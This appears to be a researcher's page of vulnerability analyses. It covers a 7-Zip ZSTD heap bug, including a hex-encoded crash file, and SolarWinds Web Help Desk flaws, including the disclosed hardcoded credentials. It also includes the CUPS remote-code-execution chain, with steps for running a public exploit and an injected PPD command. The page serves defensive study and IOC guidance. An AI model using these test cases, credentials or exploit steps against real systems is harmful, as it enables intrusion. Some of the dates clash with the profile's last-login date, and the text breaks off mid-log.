sfewer-r7 (121)
Last Login: November 29, 2024
sfewer-r7's Latest (20) Contributions
Technical Analysis
Update: Nov 27, 2024 – Added an example of how to generate and reach the suspicious code path that was patched.
Ratings
This vulnerability was introduced into 7zip in version 24.05 (released circa May 15, 2024), and then fixed in version 24.07 (released circa June 19, 2024), so therefore the vulnerability was only present in two releases over a 1 month period. This should greatly limit the impact of the vulnerability, and I have rated the attacker value as Very Low
because of this. I have tagged this vulnerability Vulnerable in default configuration
, as no additional configuration is required if running a vulnerable version 24.05
or 24.06
.
I have tagged this vulnerability as Requires user interaction
, as when using the UI, a user must extract a file from a malicious ZSTD archive, rather than just view or open the file. We should note however that 7zip may be used as either a library or console application in a pipeline on some Linux-like systems, and in that context, may extract files automatically (e.g. if inspecting the contents of compressed archives as part of the pipeline).
This vulnerability appears to lead to heap based memory corruption, which is difficult to exploit in many scenarios, especially in a client-side file-format scenario. On Windows, while 7zip does enable the ASLR and DEP mitigations, newer mitigation such as CFG and CET are not enabled. While exploitation of this vulnerability may be non-trivial, it cannot be ruled out. There is no known exploit code currently available. Therefore I have rated the exploitability as Very Low
and tagged it as Difficult to weaponize
.
The Patch
We know the vulnerability affects the 7zip implementation of Zstandard decompression (see RFC 8878), and the advisory states that version 24.07
patches the vulnerability. If we inspect the code changes between version 24.06
and 24.07
, the below change to the file C/ZstdDec.c
stands out.
C:\Users\sfewer\Desktop\7zipOverflow\7zip>git diff 24.06..24.07 C\ZstdDec.c diff --git a/C/ZstdDec.c b/C/ZstdDec.c index ac159d6..6ad47eb 100644 --- a/C/ZstdDec.c +++ b/C/ZstdDec.c @@ -1,5 +1,5 @@ /* ZstdDec.c -- Zstd Decoder -2024-05-26 : the code was developed by Igor Pavlov, using Zstandard format +2024-06-18 : the code was developed by Igor Pavlov, using Zstandard format specification and original zstd decoder code as reference code. original zstd decoder code: Copyright (c) Facebook, Inc. All rights reserved. This source code is licensed under BSD 3-Clause License. @@ -1308,8 +1308,10 @@ FSE_Decode_SeqTable(CFseRecord * const table, in->len--; { const Byte *ptr = in->ptr; - const Byte sym = ptr[0]; + const unsigned sym = ptr[0]; in->ptr = ptr + 1; + if (sym >= numSymbolsMax) + return SZ_ERROR_DATA; table[0] = (FastInt32)sym #if defined(Z7_ZSTD_DEC_USE_ML_PLUS3) + (numSymbolsMax == NUM_ML_SYMBOLS ? MATCH_LEN_MIN : 0)
The function FSE_Decode_SeqTable
has been patched to ensure a value sym
, which is read from some input, is not greater or equal to a maximum value called numSymbolsMax
. Additionally, the data type of sym
has been changed from Byte
to unsigned
.
The addition of a check against a max value is suspicious, as is the change in data type when we see that sym
is later cast to a type FastInt32
. Although upon inspection, both Byte
and FastInt32
appear to be unsigned data types, so I would not expect sign extension to occur here when casting.
To explore the patch further, we will build a test cast to reach this code path.
Building 7zip
We will create a Debug build of the 7zip File Manager UI application on Windows. This will allow us to do source level debugging in WinDbg
later on.
First we checkout the 7zip source code and switch to a vulnerable branch for version 24.06
.
C:\Users\sfewer\Desktop\7zipOverflow>git clone https://github.com/ip7z/7zip C:\Users\sfewer\Desktop\7zipOverflow>cd 7zip C:\Users\sfewer\Desktop\7zipOverflow\7zip>git checkout 24.06 C:\Users\sfewer\Desktop\7zipOverflow\7zip>git status HEAD detached at 24.06
To create debug build, we need to modify a single make file (thanks to this StackOverflow question).
diff --git a/CPP/Build.mak b/CPP/Build.mak index afb7ae8..93a383d 100644 --- a/CPP/Build.mak +++ b/CPP/Build.mak @@ -69,7 +69,7 @@ CFLAGS_WARN_LEVEL = -W4 CFLAGS_WARN_LEVEL = -Wall !ENDIF -CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ $(CFLAGS_WARN_LEVEL) -WX -EHsc -Gy -GR- -GF +CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ $(CFLAGS_WARN_LEVEL) -WX -EHsc -Gy -GR- -GF /Zi !IF "$(CC)" == "clang-cl" @@ -132,13 +132,13 @@ CFLAGS = $(CFLAGS) -D_ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE !ENDIF !IF "$(PLATFORM)" == "x64" -CFLAGS_O1 = $(CFLAGS) -O1 +CFLAGS_O1 = $(CFLAGS) -Od !ELSE -CFLAGS_O1 = $(CFLAGS) -O1 +CFLAGS_O1 = $(CFLAGS) -Od !ENDIF -CFLAGS_O2 = $(CFLAGS) -O2 +CFLAGS_O2 = $(CFLAGS) -Od -LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF -INCREMENTAL:NO +LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF -INCREMENTAL:NO /DEBUG !IFNDEF UNDER_CE LFLAGS = $(LFLAGS) /LARGEADDRESSAWARE
With the make file modified to generate a debug build, we open up an x64 Native Tools Command Prompt
for Visual Studio and issue an nmake
command.
C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip>nmake
The vulnerable decompression code is located in the 7z.dll
binary. We copy the build artifacts 7z.dll
, 7z.pdb
, 7zFM.exe
, 7zFM.pdb
to a separate folder to ensure they load (we also had 7zip installed locally via an MSI installer). We can then launch the UI via the 7zFM.exe
executable.
Generating a ZSTD file
As the Zstandard algorithm was originally developed by Meta, we can generate a valid ZSTD compressed file using the reference implementation.
We clone and build the reference implementation, and then use the zstd
tool to compress a file that contains 1024 letter A
characters.
sfewer@sfewer-ubuntu-vm:~/Desktop$ git clone https://github.com/facebook/zstd Cloning into 'zstd'... remote: Enumerating objects: 61600, done. remote: Counting objects: 100% (49/49), done. remote: Compressing objects: 100% (37/37), done. remote: Total 61600 (delta 16), reused 41 (delta 12), pack-reused 61551 (from 1) Receiving objects: 100% (61600/61600), 38.02 MiB | 31.86 MiB/s, done. Resolving deltas: 100% (46033/46033), done. sfewer@sfewer-ubuntu-vm:~/Desktop$ cd zstd/ sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ make make[1]: Entering directory '/home/sfewer/Desktop/zstd/lib' CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/debug.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/entropy_common.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/error_private.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/fse_decompress.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/pool.o ...snip... CC obj/conf_20daa47e8058f816896e54abab38685b/zstdcli.o CC obj/conf_20daa47e8058f816896e54abab38685b/zstdcli_trace.o ==> building with threading support ==> building zstd with .gz compression support ==> building zstd with .xz/.lzma compression support ==> no liblz4, building zstd without .lz4 support LINK obj/conf_20daa47e8058f816896e54abab38685b/zstd zstd build completed make[1]: Leaving directory '/home/sfewer/Desktop/zstd/programs' sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ ./zstd --version *** Zstandard CLI (64-bit) v1.5.7, by Yann Collet *** sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ ./zstd ~/Desktop/A.txt /home/sfewer/Desktop/A.txt : 2.34% ( 1.000 KiB => 24 B, /home/sfewer/Desktop/A.txt.zst)
We can examine what a valid ZSTD file looks like:
sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ xxd ~/Desktop/A.txt.zst 00000000: 28b5 2ffd 6400 0355 0000 1841 410a 0100 (./.d..U...AA... 00000010: fa2b 8005 33ac 8ae1 .+..3... sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$
Reaching the vulnerable code path
By setting a breakpoint in WinDbg
, we can observe that some data from our test file is processed by 7z!FSE_Decode_SeqTable
.
0:007> bp 7z!FSE_Decode_SeqTable *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7z.dll 0:007> g Breakpoint 0 hit 7z!FSE_Decode_SeqTable: 00007ff9`c1e1ffd0 4c894c2420 mov qword ptr [rsp+20h],r9 ss:000000ba`080ff3e8=0000000000020110 0:007> t 7z!FSE_Decode_SeqTable+0x18: 00007ff9`c1e1ffe8 83bc249000000002 cmp dword ptr [rsp+90h],2 ss:000000ba`080ff400=00000000 0:007> k # Child-SP RetAddr Call Site 00 000000ba`080ff370 00007ff9`c1e2229b 7z!FSE_Decode_SeqTable+0x18 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 1284] 01 000000ba`080ff3d0 00007ff9`c1e23819 7z!ZstdDec1_DecodeBlock+0x81b [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2531] 02 000000ba`080ff4d0 00007ff9`c1e22b41 7z!ZstdDec_DecodeBlock+0x709 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3442] 03 000000ba`080ff5e0 00007ff9`c1dd6569 7z!ZstdDec_Decode+0x2c1 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3737] 04 000000ba`080ff6c0 00007ff9`c1cec350 7z!NCompress::NZstd::CDecoder::Code+0x159 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Compress\ZstdDecoder.cpp @ 164] *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7zFM.exe 05 000000ba`080ff750 00007ff6`0acb66e0 7z!NArchive::NZstd::CHandler::Extract+0x440 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Archive\ZstdHandler.cpp @ 821] 06 000000ba`080ff910 00007ff6`0acc3343 7zFM!CAgentFolder::Extract+0x630 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\Agent.cpp @ 1555] 07 000000ba`080ffad0 00007ff6`0acf4da6 7zFM!CAgentFolder::CopyTo+0x193 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\ArchiveFolder.cpp @ 46] 08 000000ba`080ffb80 00007ff6`0ad21de0 7zFM!CPanelCopyThread::ProcessVirt+0x536 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\PanelCopy.cpp @ 112] 09 000000ba`080ffcb0 00007ff6`0ad2093d 7zFM!CProgressThreadVirt::Process+0x40 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1425] 0a 000000ba`080ffd80 00007ff6`0ad370fe 7zFM!MyThreadFunction+0x1d [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1393] 0b 000000ba`080ffdc0 00007ff9`f0cd259d 7zFM!thread_start<unsigned int (__cdecl*)(void *),1>+0x5a [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 97] 0c 000000ba`080ffdf0 00007ff9`f1c6af38 KERNEL32!BaseThreadInitThunk+0x1d 0d 000000ba`080ffe20 00000000`00000000 ntdll!RtlUserThreadStart+0x28
Inspecting the contents on the in
structure, we see several bytes that correspond to bytes from the test case file (at offset 16).
0:007> dt in Local var @ 0xba080ff3d8 Type CInBufPair* 0x000000ba`080ff430 +0x000 ptr : 0x00000248`50970010 "???" +0x008 len : 4 0:007> db 0x00000248`50970010 L8 00000248`50970010 fa 2b 80 05 33 ac 8a e1 .+..3...
The caller to 7z!FSE_Decode_SeqTable
is 7z!ZstdDec1_DecodeBlock
. We can inspect the call site and see the seqMode
variable originated 1 byte before the remaining data in the in
structure. In our test case this byte was 0x00
.
mode = *in.ptr++; if (mode & 3) // Reserved bits return SZ_ERROR_DATA; seqMode = (mode >> 6); if (seqMode == k_SeqMode_Repeat) { if (!IS_SEQ_TABLES_WERE_SET(p)) return SZ_ERROR_DATA; } else RINOK(FSE_Decode_SeqTable( p->fse.ll, &in, 6, // predefAccuracy &p->ll_accuracy, NUM_LL_SYMBOLS, k_PredefRecords_LL, seqMode))
Upon inspecting RFC8878, we learn that this seqMode
variable represents Symbol_Compression_Modes
, and to reach the vulnerable code path, we must set this mode to be RLE_Mode
. As there are 3 different tables that are processed, the mode can be set 3 times, left shifted by 2 bits for each mode, and with the low 2 bits cleared. Therefore we patch our test case to have a Symbol_Compression_Modes
value of 0x54
which is 01010100
in binary. The will give us a Literal_Lengths_Mode
(LL) of RLE_Mode
, a Offsets_Mode
(OM) of RLE_Mode
, and a Match_Lengths_Mode
(ML) of RLE_Mode
. So when 7z!ZstdDec1_DecodeBlock
processes the current block, it will call 7z!FSE_Decode_SeqTable
once for each table (LL, OM, and ML), and reach the code that was patched. If the mode is not set to RLE_Mode
, the patched code path is not reached. As we know the patched function will read a single byte, and write that value to the corresponding table, we patch our testcase to have 3 consecutive 0xFF bytes.
The resulting test case looks like this.
sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ xxd ~/Desktop/A.txt.zst 00000000: 28b5 2ffd 6400 0355 0000 1841 410a 0154 (./.d..U...AA..T 00000010: ffff ff05 33ac 8ae1 ....3...
The result of decompressing this file in 7zipFM.exe
, is the following read access violation
(24fc.2420): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7z.dll 7z!Decompress_Sequences+0x73c: 00007ff9`c1e1f52c 488b00 mov rax,qword ptr [rax] ds:000001da`28faffec=???????????????? 0:007> k # Child-SP RetAddr Call Site 00 00000072`0baff320 00007ff9`c1e22438 7z!Decompress_Sequences+0x73c [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2210] 01 00000072`0baff4d0 00007ff9`c1e23819 7z!ZstdDec1_DecodeBlock+0x9b8 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2617] 02 00000072`0baff5d0 00007ff9`c1e22b41 7z!ZstdDec_DecodeBlock+0x709 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3442] 03 00000072`0baff6e0 00007ff9`c1dd6569 7z!ZstdDec_Decode+0x2c1 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3737] 04 00000072`0baff7c0 00007ff9`c1cec350 7z!NCompress::NZstd::CDecoder::Code+0x159 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Compress\ZstdDecoder.cpp @ 164] *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7zFM.exe 05 00000072`0baff850 00007ff6`0acb66e0 7z!NArchive::NZstd::CHandler::Extract+0x440 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Archive\ZstdHandler.cpp @ 821] 06 00000072`0baffa10 00007ff6`0acc3343 7zFM!CAgentFolder::Extract+0x630 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\Agent.cpp @ 1555] 07 00000072`0baffbd0 00007ff6`0acf4da6 7zFM!CAgentFolder::CopyTo+0x193 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\ArchiveFolder.cpp @ 46] 08 00000072`0baffc80 00007ff6`0ad21de0 7zFM!CPanelCopyThread::ProcessVirt+0x536 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\PanelCopy.cpp @ 112] 09 00000072`0baffdb0 00007ff6`0ad2093d 7zFM!CProgressThreadVirt::Process+0x40 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1425] 0a 00000072`0baffe80 00007ff6`0ad370fe 7zFM!MyThreadFunction+0x1d [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1393] 0b 00000072`0baffec0 00007ff9`f0cd259d 7zFM!thread_start<unsigned int (__cdecl*)(void *),1>+0x5a [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 97] 0c 00000072`0baffef0 00007ff9`f1c6af38 KERNEL32!BaseThreadInitThunk+0x1d 0d 00000072`0bafff20 00000000`00000000 ntdll!RtlUserThreadStart+0x28
Further manipulation of the test case file, showed that 7z!Decompress_Sequences
may crash in several different locations, however I could not make a test case file that caused a write access violation.
Technical Analysis
On Aug 9, 2024, SolarWinds published an advisory for CVE-2024-28986, with a CVSS score of 9.8 (Critical), affecting the Web Help Desk product.
Described as an unauthenticated deserialization vulnerability that allows for RCE, in the vendor description, SolarWinds were unable to replicate the unauthenticated portion of the vulnerability. Instead SolarWinds were only able to replicate the vulnerability with authentication (i.e. valid credentials were required to trigger the vulnerability). This is a discrepancy given the CVSS rating specifies Privileges Required
of None
. It is unclear how this vulnerability was reported to SolarWinds, as no credit is given in the advisory. So we do not have another source of information to help clarify this discrepancy. On August 15, 2024, this vulnerability was added to the CISA KEV list, for known exploitation in the wild.
Therefore, we know that at least one exploit exists, due to the confirmed exploitation in the wild, however, to the best of my knowledge, there is no known public exploit code available.
I have rated the attacker value as High, as deserialization vulnerabilities are a reliable method to achieve RCE against a target. However the internet exposure of Web Help Desk is relatively small, with Shadowserver reporting around 800 instances of Web Help Desk on the public internet (as of Aug 18, 2024).
Due to the lack of any public exploit code I have not rated the exploitability, as we cannot know this without the availability of a suitable technical analysis or exploit code.
Technical Analysis
SolarWinds Web Help Desk is described as an “Affordable Help Desk Ticketing and Asset Management Software”. On Aug 21, 2024, CVE-2024-28987 was published, disclosing a hardcoded credential vulnerability, with a CVSS score of 9.1 (Critical). On Sept 25, 2025, the original finders of the vulnerability, Horizion3, published a technical analysis and an accompanying PoC exploit. On Oct 15, 2025, the vulnerability was added to CISA’s KEV list as being known to be exploited in the wild.
The CVE record indicates that all versions of Web Help Desk, prior to the patch 12.8.3 Hotfix 2
, are vulnerable.
The vulnerability lies in how authentication to the /OrionTickets
endpoint of the Web Help Desk HTTP(S) service is handled. Authentication for this endpoint is performed via HTTP Basic authentication. The application code contains a hardcoded username of helpdeskIntegrationUser
and an accompanying password of dev-C4F8025E7
. A remote unauthenticated attacker can supply these credentials during requests to the /OrionTickets
endpoint, and successfully authenticate to the service. In doing so, the attacker can then access the support tickets stored on the service, potentially disclosing sensitive information.
A Metasploit module is available, which allows an attacker to retrieve all support tickets from an affected system.
I have rated the attacker value for this vulnerability as Medium, as while an attacker can disclose sensitive information, this vulnerability cannot be leveraged for RCE. I have rated the exploitability of this vulnerability as Very High, as exploitation is trivial, and several exploits are available publicly.
Technical Analysis
Based upon writing a Metasploit exploit module for this exploit chain, I have rated the exploitability of this as very high, as a target PAN-OS management interface is vulnerable in a default configuration.
Technical Analysis
Overview
On September 26, 2024, technical details of a four-vulnerability exploit chain affecting the Common UNIX Printing System (CUPS) were disclosed.
The four vulnerabilities and their affected components are as follows, with the CVSS and CWE values as assigned by the CNA.
CVE | Affected Component | CVSS | CWE |
---|---|---|---|
CVE-2024-47176 | cups-browsed | 8.3 (High) | Binding to an Unrestricted IP Address (CWE-1327), Improper Input Validation (CWE-20), Exposed Dangerous Method or Function (CWE-749) |
CVE-2024-47076 | libcupsfilters | 8.6 (High) | Improper Input Validation (CWE-20) |
CVE-2024-47175 | libppd | 8.6 (High) | Improper Input Validation (CWE-20) |
CVE-2024-47177 | cups-filters | 9.0 (Critical) | Command Injection (CWE-ID) |
The exploit chain achieves arbitrary code execution as follows.
First, a remote unauthenticated attacker can leverage CVE-2024-47176 to add a new attacker-controlled printer to a vulnerable target system. The attacker-controlled printer in this case will not be a physical printer, but rather a software endpoint on the attacker’s machine that emulates a printer. This can be achieved by a remote attacker either directly accessing UDP port 631, which is bound by the vulnerable /usr/sbin/cups-browsed
service on all network interfaces, and as such is potentially reachable from the public internet, or by a remote unauthenticated attacker leveraging zero-configuration networking such as multicast DNS (mDNS). In the later scenario, the attacker must be on the same network segment as the target in order to transmit multicast packets that will be received by the target.
Next, due to the improper input validation issues in both CVE-2024-47076 and CVE-2024-47175, attacker-controlled data that originates from an Internet Printing Protocol (IPP) response that the attacker controls is then written to a PostScript Printer Description (PPD) file. This PPD file will contain a malicious FoomaticRIPCommandLine
entry. Finally CVE-2024-47177 will allow for command injection to occur when a new print job is sent to the malicious printer.
For a full analysis of the affected components, the original finder, Simone Margaritelli (a.k.a. evilsocket), has a detailed write up on their blog, along with their original vulnerability report and PoC here.
Ratings
When tagging and rating this vulnerability, I have considered the full exploit chain as it has been published, and as we currently understand the four vulnerabilities in question to work.
I have added the tag “Vulnerable in default configuration”, as the Ubuntu 22.04 system I was testing was vulnerable in a default configuration. However, depending on the target system, this may change, e.g. some server installations of Linux may not run any of the CUPS services, so they will not be vulnerable in a default configuration.
I have added the tag “Unauthenticated”, as the remote attacker does not require any authentication on the target systems to successfully exploit this vulnerability.
I have added the tag “Requires user interaction”, as the current public exploit chain for CVE-2024-47176 + CVE-2024-47076 + CVE-2024-47175 + CVE-2024-47177 does indeed require user interaction. A user must manually send a new print job to a malicious printer for the exploit chain to achieve arbitrary code execution.
Due to the above I have rated both the Attacker Value and the Exploitability as Medium.
Example Exploitation
A public exploit is available here. We can demonstrate successful exploitation against a default install of Ubuntu 22.04 by an attacker on the same LAN segment as the target.
First on the attacker’s machine we perform the following steps to advertise a malicious printer on the LAN via mDNS.
# Clone the exploit code git clone https://github.com/RickdeJager/cupshax cd cupshax # Install dependencies pip install zeroconf pip install ippserver # Allow port 4444 in our firewall, so IPP request from a target can succeed sudo ufw allow 4444 # Run the exploit, passing in out own IP address python3 cupshax.py --ip 192.168.86.42 --name printerhax1 --port 4444 --command "echo hax > /tmp/printerhax1" # The exploit will advertise a malicious printer over the LAN via mDNS. If a target user submits a print job to this printer, the attacker's command will execute on the target system.
On the target system, no user interaction is required to have the malicious printer added to the target system. However, for the attacker to execute an arbitrary command, user interaction must occur. A user on the target system must send a print job to the malicious printer. To demonstrate this, a user can open an editor such as gedit, and print the current document to the malicious printer named printerhax1
.
We can verify exploitation has succeeded as follows, noting that the user account is the lp
user.
$ ls -al /tmp/*hax* -rw------- 1 lp lp 4 Sep 27 15:14 /tmp/printerhax1 $ id lp uid=7(lp) gid=7(lp) groups=7(lp)
IOCs
After exploitation, there are several IOCs that may be present (assuming an attacker has not removed them).
The malicious PPD file will be written to the location /etc/cups/ppd/
during exploitation. However, the file may be removed by CUPS (and regenerated as needed), so it may not be present after exploitation. We can examine the PPD file for the malicious printer named printerhax1
, noting it contains the command injection string *FoomaticRIPCommandLine: echo hax > /tmp/printerhax1;#
$ ls -al /etc/cups/ppd/ total 12 drwxr-xr-x 2 root lp 4096 Sep 27 15:34 . drwxr-xr-x 5 root lp 4096 Sep 27 15:34 .. -rw-r----- 1 root lp 1933 Sep 27 15:34 printerhax1.ppd $ sudo cat /etc/cups/ppd/printerhax1.ppd *PPD-Adobe: "4.3" *FormatVersion: "4.3" *FileVersion: "2.4" *LanguageVersion: English *LanguageEncoding: ISOLatin1 *PSVersion: "(3010.000) 0" *LanguageLevel: "3" *FileSystem: False *PCFileName: "ippeve.ppd" *Manufacturer: "printerhax1" *ModelName: "0.00" *Product: "(0.00)" *NickName: "0.00 - IPP Everywhere" *ShortNickName: "0.00 - IPP Everywhere" *ColorDevice: False *cupsVersion: 2.4 *cupsSNMPSupplies: False *cupsLanguages: "en_IE" *cupsFilter2: "application/vnd.cups-pdf application/pdf 10 -" *OpenUI *PageSize: PickOne *OrderDependency: 10 AnySetup *PageSize *DefaultPageSize: A4 *PageSize A4: "<</PageSize[595.275590551181 841.889763779528]>>setpagedevice" *CloseUI: *PageSize *OpenUI *PageRegion: PickOne *OrderDependency: 10 AnySetup *PageRegion *DefaultPageRegion: A4 *PageRegion A4: "<</PageSize[595.275590551181 841.889763779528]>>setpagedevice" *CloseUI: *PageRegion *DefaultImageableArea: A4 *DefaultPaperDimension: A4 *ImageableArea A4: "18 36 577.275590551181 805.889763779528" *PaperDimension A4: "595.275590551181 841.889763779528" *OpenUI *MediaType: PickOne *OrderDependency: 10 AnySetup *MediaType *DefaultMediaType: Unknown *MediaType Stationery: "<</MediaType(Stationery)>>setpagedevice" *en_IE.MediaType Stationery/Stationery: "" *MediaType : HAX *FoomaticRIPCommandLine: echo hax : "<</MediaType(: HAX *FoomaticRIPCommandLine: echo hax )>>setpagedevice" *en_IE.MediaType : HAX *FoomaticRIPCommandLine: echo hax /: HAX *FoomaticRIPCommandLine: echo hax > /tmp/printerhax1;# *cupsFilter2: "application/vnd.cups-pdf application/pdf 0 foomatic-rip" *%: "" *CloseUI: *MediaType *DefaultResolution: 300dpi *OpenUI *cupsPrintQuality: PickOne *OrderDependency: 10 AnySetup *cupsPrintQuality *en_IE.Translation cupsPrintQuality/Print Quality: "" *DefaultcupsPrintQuality: Normal *cupsPrintQuality Normal: "<</HWResolution[300 300]>>setpagedevice" *en_IE.cupsPrintQuality Normal/Normal: "" *CloseUI: *cupsPrintQuality
The file /var/log/cups/error_log
will contain error information related to a failed filter job.
$ cat /var/log/cups/error_log E [27/Sep/2024:15:14:31 +0100] [Job 1] Job stopped due to filter errors; please consult the /var/log/cups/error_log file for details. D [27/Sep/2024:15:14:31 +0100] [Job 1] The following messages were recorded from 15:14:14 to 15:14:31 D [27/Sep/2024:15:14:31 +0100] [Job 1] Applying default options... D [27/Sep/2024:15:14:31 +0100] [Job 1] File of type application/pdf queued by "testuser". D [27/Sep/2024:15:14:31 +0100] [Job 1] hold_until=0 D [27/Sep/2024:15:14:31 +0100] [Job 1] Queued on "printerhax1" by "testuser". D [27/Sep/2024:15:14:31 +0100] [Job 1] time-at-processing=1727446454 D [27/Sep/2024:15:14:31 +0100] [Job 1] 3 filters for job: D [27/Sep/2024:15:14:31 +0100] [Job 1] pdftopdf (application/pdf to application/vnd.cups-pdf, cost 66) D [27/Sep/2024:15:14:31 +0100] [Job 1] foomatic-rip (application/vnd.cups-pdf to printer/printerhax1/application/pdf, cost 0) D [27/Sep/2024:15:14:31 +0100] [Job 1] - (printer/printerhax1/application/pdf to printer/printerhax1, cost 0) D [27/Sep/2024:15:14:31 +0100] [Job 1] job-sheets=none,none D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[0]="printerhax1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[1]="1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[2]="testuser" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[3]="Untitled Document 1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[4]="1" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[5]="job-originating-user-name=testuser MediaType= job-priority=50 number-up=1 noCollate PageSize=A4 job-sheets=none,none job-uuid=urn:uuid:2a670b29-9298-3177-7472-7ca69b9201d9 job-originating-host-name=localhost date-time-at-creation= date-time-at-processing= time-at-creation=1727446454 time-at-processing=1727446454 job-impressions-completed=0" D [27/Sep/2024:15:14:31 +0100] [Job 1] argv[6]="/var/spool/cups/d00001-001" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[0]="CUPS_CACHEDIR=/var/cache/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[1]="CUPS_DATADIR=/usr/share/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[2]="CUPS_DOCROOT=/usr/share/cups/doc-root" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[3]="CUPS_REQUESTROOT=/var/spool/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[4]="CUPS_SERVERBIN=/usr/lib/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[5]="CUPS_SERVERROOT=/etc/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[6]="CUPS_STATEDIR=/run/cups" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[7]="HOME=/var/spool/cups/tmp" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[8]="PATH=/usr/lib/cups/filter:/usr/bin:/usr/sbin:/bin:/usr/bin" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[9]="SERVER_ADMIN=root@sfewer-ubuntu-test" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[10]="SOFTWARE=CUPS/2.4.1" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[11]="TMPDIR=/var/spool/cups/tmp" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[12]="USER=root" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[13]="CUPS_MAX_MESSAGE=2047" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[14]="CUPS_SERVER=/run/cups/cups.sock" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[15]="CUPS_ENCRYPTION=IfRequested" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[16]="IPP_PORT=631" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[17]="CHARSET=utf-8" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[18]="LANG=en_IE.UTF-8" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[19]="PPD=/etc/cups/ppd/printerhax1.ppd" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[20]="CONTENT_TYPE=application/pdf" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[21]="DEVICE_URI=ipp://printerhax1.local:4444/printers/hax" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[22]="PRINTER_INFO=printerhax1" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[23]="PRINTER_LOCATION=" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[24]="PRINTER=printerhax1" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[25]="PRINTER_STATE_REASONS=none" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[26]="CUPS_FILETYPE=document" D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[27]="FINAL_CONTENT_TYPE=application/pdf" D 